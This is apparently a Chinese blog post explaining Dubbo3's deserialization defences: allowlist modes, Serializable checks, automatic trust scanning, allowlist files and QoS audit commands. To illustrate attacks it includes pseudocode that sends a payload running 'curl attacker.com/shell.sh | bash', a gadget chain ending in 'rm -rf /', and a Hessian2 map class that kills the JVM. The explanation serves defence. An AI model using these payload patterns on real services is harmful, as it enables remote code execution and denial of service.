← blog 技术原理与实践 · 2026-05-21

Dubbo3反序列化安全机制详解

深入剖析 Dubbo3 反序列化安全机制:从 RCE 攻击原理、白名单机制、Serializable 接口检查到自动信任扫描的完整技术解读。

10 min read

为什么Dubbo3引入反序列化白名单

Dubbo3从 3.1.6 版本开始引入了”序列化类检查机制”——只允许受信任白名单中的类进行序列化/反序列化。这是为了防止通过反序列化进行的 RCE(远程代码执行) 攻击。

该检查机制有三种模式:

模式行为版本默认值
STRICT只允许白名单中的类,其余一律拒绝3.2 默认
WARN只拒绝黑名单中的类,对非白名单类记录警告3.1 默认
DISABLE不做任何检查—

配置方式:

dubbo.application.serialize-check-status=STRICT

通过反序列化实施RCE攻击的原理

核心前提:Java反序列化会自动执行某些方法

Java在反序列化一个对象时,会自动调用该对象的 readObject() 方法(如果有的话)。这不是漏洞,这是Java的设计——给类一个机会在反序列化时做自定义恢复逻辑。

// 反序列化时,JVM 会自动调用这个方法
private void readObject(ObjectInputStream in) {
    // 这里的代码会自动执行
}

攻击者的思路就是:构造一个恶意对象,它的 readObject() 里会触发危险操作。

但攻击者不能直接写恶意类

攻击者不能直接传一个 class Evil { Runtime.exec("rm -rf /") } 过去,因为服务端没有这个类。但是,Java类路径上已经有大量现成的类,它们组合起来可以构成一条”调用链”——这就是所谓的 Gadget Chain(利用链)。

简化的攻击流程

假设服务端类路径上有这些类(常见于 commons-collections、Spring 等库):

graph TD
    TM["TransformedMap<br/>攻击者构造的序列化数据不是直接传一个命令,<br/>而是构造一个嵌套对象链"]
    Trans["内部持有 Transformer[] 链"]
    TM --> Trans
    Trans --> I1["InvokerTransformer('getMethod', 'exec')"]
    Trans --> I2["InvokerTransformer('invoke', ...)"]
    Trans --> I3["InvokerTransformer('exec', 'rm -rf /')"]

当服务端反序列化这个对象时发生的事情:

1. JVM 反序列化 TransformedMap 对象
2. TransformedMap.readObject() 被自动调用
3. readObject() 内部检查到 Map 发生了变化
4. 触发 Transformer 链逐个执行
5. InvokerTransformer 的作用是:通过反射调用任意方法
6. 最终链式调用等价于:Runtime.getRuntime().exec("rm -rf /")

服务端完全没有意识到它在执行命令,它只是在”还原一个对象”,但还原过程中被精心构造的调用链劫持了。

用伪代码理解整个过程

攻击者(客户端)                        服务端
─────────────────                    ──────────

// 1. 构造恶意对象
Object malicious = craftPayload(
    "curl attacker.com/shell.sh | bash"
);

// 2. 序列化后作为 RPC 参数发送
byte[] data = serialize(malicious);
send(data)  ──────────────────►
                                     // 3. 服务端收到,正常反序列化
                                     Object obj = deserialize(data);

                                     // 4. JVM 自动调用 obj.readObject()
                                     // 5. readObject 内部触发 gadget chain
                                     // 6. 等价于执行了:
                                     //    Runtime.exec(
                                     //      "curl attacker.com/shell.sh | bash"
                                     //    )
                                     // 💥 服务器被攻陷

为什么Dubbo尤其容易被攻击

Dubbo作为RPC框架,天然需要接收外部网络数据并反序列化:

graph LR
    Consumer -->|"[序列化参数]"| Network["网络"] --> Provider["Provider 反序列化"]
    Provider --> Attack["攻击入口在这里"]

攻击者伪装成Consumer,发送恶意序列化数据,Provider反序列化时就触发了RCE。

Hessian2反序列化的更直观攻击示例

比gadget链更简单的攻击方式——Hessian2的 MapDeserializer 在反序列化时会自动调用 map.put(key, value)。攻击者创建一个 DangerousMap 继承 HashMap,重写 put() 方法调用 System.exit(-1)。只需反序列化这个Map就能杀死JVM。这甚至不需要 readObject()——直接劫持了序列化框架自身的逻辑。

public class DangerousMap<K, V> extends HashMap<K, V> {
    @Override
    public V put(K key, V value) {
        System.out.println("The JVM will be shutdown...");
        System.exit(-1);
        return super.put(key, value);
    }
}

测试 DangerousMap 的反序列化,你将看不到 end... 输出,JVM会直接关闭。细思极恐,仅仅是反序列化一个Map对象,竟然导致JVM退出,可见序列化不被信任的Class要非常小心。

重点:不是通过 readObject() 触发的gadget chain,而是序列化框架本身的逻辑(MapDeserializer 会自动调用 put)就被劫持了。这比Java原生序列化的 readObject 机制更简单直接。

为什么白名单能防御

没有白名单时:

graph LR
    A["deserialize(data)"] --> B["发现是 TransformedMap 类"] --> C["正常实例化"] --> D["触发 RCE 💥"]

有白名单(STRICT 模式)时:

graph TD
    A["deserialize(data)"] --> B["发现是 TransformedMap 类"]
    B --> C{"检查白名单:TransfomedMap 在白名单吗?"}
    C -->|不在| D["拒绝反序列化 → 抛出异常 → 攻击失败 ✅"]

白名单确保只有业务中真正需要用到的类才能被反序列化,攻击者构造的gadget chain中的类(如 InvokerTransformer、TransformedMap)不在白名单里,反序列化直接被拒绝。

历史漏洞

漏洞利用方式
CVE-2019-17564Dubbo HTTP remoting 接受任意序列化协议,攻击者选择 Java 原生序列化,发送 gadget chain
CVE-2023-46279绕过 Dubbo 的黑名单检查(黑名单可被绕过,所以后来改用白名单)

这也解释了为什么Dubbo从黑名单策略转向了白名单策略——黑名单永远无法穷举所有危险类,而白名单(默认拒绝)从根本上更安全。

Dubbo3如何自动识别白名单参数

Dubbo3默认 AutoTrustSerializeClass=true,会自动扫描Service接口来填充白名单,避免开发者手动配置白名单带来的额外负担。

触发时机

当Service暴露(Provider)或引用(Consumer)时自动触发:

graph LR
    A["ServiceConfig.export()"] --> X["SerializeSecurityConfigurator.registerInterface(Class&lt;?&gt; clazz)"]
    B["ReferenceConfig.refer()"] --> X

核心源码解析

public synchronized void registerInterface(Class<?> clazz) {
    // 前提:autoTrustSerializeClass 必须为 true(默认就是 true)
    if (!autoTrustSerializeClass) {
        return;
    }

    Set<Type> markedClass = new HashSet<>();  // 防止重复扫描

    // === 第一步:信任 Service Class 自身 + 递归扫描关联类型 ===
    checkClass(markedClass, clazz);
    addToAllow(clazz.getName());

    Method[] methodsToExport = clazz.getMethods();

    // === 第二步:遍历所有方法,信任入参、出参、异常 ===
    for (Method method : methodsToExport) {
        // 方法入参类型
        for (Class<?> parameterType : method.getParameterTypes()) {
            checkClass(markedClass, parameterType);
        }
        // 方法入参的泛型(如 Optional<ThirdParam>)
        for (Type genericParameterType : method.getGenericParameterTypes()) {
            checkType(markedClass, genericParameterType);
        }
        // 返回值类型
        checkClass(markedClass, method.getReturnType());
        checkType(markedClass, method.getGenericReturnType());
        // 异常类型
        for (Class<?> exceptionType : method.getExceptionTypes()) {
            checkClass(markedClass, exceptionType);
        }
        for (Type genericExceptionType : method.getGenericExceptionTypes()) {
            checkType(markedClass, genericExceptionType);
        }
    }
}

checkClass 递归扫描了什么

checkClass 不仅仅是把类本身加进去,它会递归展开:

graph TD
    Root["checkClass(UserService.class)"]
    Root --> S1["信任 UserService 自身"]
    Root --> S2["递归扫描 UserService 的父类"]
    Root --> S3["递归扫描 UserService 实现的接口"]
    Root --> S4["递归扫描 UserService 的所有字段类型"]
    S4 --> S5["对每个字段类型再次 checkClass(递归到底)"]

addToAllow 的包级信任策略

找到类之后,addToAllow 决定信任的范围:

private void addToAllow(String className) {
    // 1. JDK 内置类直接信任
    if (className.startsWith("java.") || className.startsWith("javax.")
        || className.startsWith("com.sun.") || className.startsWith("sun.")
        || className.startsWith("jdk.")) {
        serializeSecurityManager.addToAllowed(className);
        return;
    }

    // 2. 自定义类:根据 trustSerializeClassLevel 信任到包级别
    String[] subs = className.split("\\.");
    if (subs.length > trustSerializeClassLevel) {
        serializeSecurityManager.addToAllowed(
            Arrays.stream(subs).limit(trustSerializeClassLevel)
                  .collect(Collectors.joining(".")) + ".");
    } else {
        serializeSecurityManager.addToAllowed(className);
    }
}

具体例子

假设你有这个 Service:

package org.example.echo.service;

public interface EchoService {
    Result echo(Request request);
}

其中 Request 在 org.example.echo.pojo.Request,Result 在 org.example.echo.pojo.Result,trustSerializeClassLevel=3。

启动时自动信任流程:

graph TD
    Scan["扫描 EchoService.class"]
    Scan --> S1["addToAllow('org.example.echo.service.EchoService')<br/>→ subs=['org','example','echo','service','EchoService']<br/>→ level=3,信任 'org.example.echo.'"]
    Scan --> S2["扫描方法 echo(Request) 的入参<br/>→ checkClass(Request.class)<br/>→ addToAllow('org.example.echo.pojo.Request')<br/>→ 信任 'org.example.echo.' (同上,已存在)"]
    Scan --> S3["扫描方法 echo 的返回值<br/>→ checkClass(Result.class)<br/>→ addToAllow('org.example.echo.pojo.Result')<br/>→ 信任 'org.example.echo.' (同上,已存在)"]
    S1 --> Final["最终结果:org.example.echo 包下所有类都被自动信任"]
    S2 --> Final
    S3 --> Final

信任优先级

graph TD
    L1["用户自定义白名单 (serialize.allowlist) = 框架内置白名单 (dubbo-common 模块预配置)"]
    L2["用户自定义黑名单 (serialize.blockedlist) = 框架内置黑名单"]
    L3["自动扫描信任的类(registerInterface 流程)"]
    L1 --> L2 --> L3

框架内置白名单预配置了常用安全类,包括:

  • Java基本数据类型及包装类(int, Integer, String, Long …)
  • 常用集合类(ArrayList, HashMap …)
  • java.*, javax.* 开头的JDK类

常见踩坑场景

由于 Class#getMethods() 返回的方法顺序不固定,如果某个方法的参数引用了consumer端不存在的类(比如三方SDK版本不一致),会导致 ClassNotFoundException,注册过程中断,后续方法的参数都不会被加入白名单。

这会造成”重启有时能调通,有时不行”的诡异现象。推荐的修复方式是:Service Class 所有的方法入参和出参,都不应该直接用三方SDK的类——在API模块新建DTO类,把三方类转换成自己的DTO类。

Serializable接口检查机制

Dubbo3有一个独立的安全层:check-serializable=true(默认开启)。在反序列化时会检查目标类是否实现了 java.io.Serializable 接口。如果没有实现,直接拒绝反序列化。

检查流程

graph TD
    Req["反序列化请求到达"] --> Q1{"检查1:该类是否实现了 Serializable 接口?"}
    Q1 -->|没实现| R1["直接拒绝(不管白名单)"]
    Q1 -->|实现了| Q2{"检查2:该类在白名单中吗?"}
    Q2 -->|不在白名单(STRICT 模式)| R2["拒绝"]
    Q2 -->|在白名单| OK["允许反序列化 ✅"]

为什么这能防御攻击但又不够

很多gadget chain中利用的危险类并没有实现 Serializable,比如一些内部工具类、反射辅助类等。即使攻击者构造了嵌套对象链,如果最外层的触发类没实现 Serializable,整个攻击在第一步就被拦住了。

但问题是:大量危险类确实实现了 Serializable。比如 HashMap、HashSet、LinkedHashMap 等都是gadget chain的常用载体,它们全都实现了 Serializable。所以Serializable检查只是”初筛”,真正核心的防御还是白名单机制。

配置方式:

# 默认 true,开启 Serializable 接口检查
dubbo.application.check-serializable=true

关闭后会跳过这个检查,但不建议关闭。

三层防护总结

层级机制配置项默认值
第1层Serializable接口检查check-serializable=truetrue(开启)
第2层白名单/黑名单检查serialize-check-status=STRICT3.2=STRICT, 3.1=WARN
第3层自动信任扫描auto-trust-serialize-class=truetrue(开启)

三层之间的关系:

场景Serializable检查白名单检查结果
正常业务DTO(实现了Serializable,在白名单中)✅✅通过
正常业务DTO(未实现Serializable)❌—拒绝
攻击者的恶意类(实现了Serializable,不在白名单中)✅❌拒绝
攻击者的恶意类(未实现Serializable)❌—拒绝

自定义白名单配置

除了自动扫描,还支持手动配置白名单文件:

# resources/security/serialize.allowlist
com.yourcompany.model

# resources/security/serialize.blockedlist
com.dangerous.package

配置成功后可以在日志看到以下提示:

INFO utils.SerializeSecurityConfigurator:  [DUBBO] Read serialize allow list from file:...
INFO utils.SerializeSecurityConfigurator:  [DUBBO] Read serialize blocked list from file:...

QoS审计命令

Dubbo支持通过QoS命令实时查看当前的配置信息以及可信/不可信类列表:

serializeCheckStatus —— 查看当前配置信息

通过控制台直接访问:

> telnet 127.0.0.1 22222
dubbo>serializeCheckStatus
CheckStatus: STRICT

CheckSerializable: true

AllowedPrefix:
...

DisAllowedPrefix:
...

通过HTTP请求JSON格式结果:

> curl http://127.0.0.1:22222/serializeCheckStatus
{"checkStatus":"STRICT","allowedPrefix":[...],"checkSerializable":true,"disAllowedPrefix":[...]}

serializeWarnedClasses —— 查看实时警告列表

> telnet 127.0.0.1 22222
dubbo>serializeWarnedClasses
WarnedClasses:
io.dubbo.test.NotSerializable
io.dubbo.test2.NotSerializable

建议及时关注 serializeWarnedClasses 的结果,通过返回结果是否非空来判断是否受到攻击。

Sources

  1. Dubbo 序列化机制介绍 — Dubbo 官方文档
  2. Class Check Mechanism — Dubbo 官方文档
  3. Dubbo 序列化类检查和自动信任机制 — 掘金
  4. Dubbo3序列化安全机制导致的一次生产故障 — 掘金
  5. CVE-2019-17564: Apache Dubbo RCE — Checkmarx
  6. CVE-2023-46279: Bypass deny list — Seclists

Related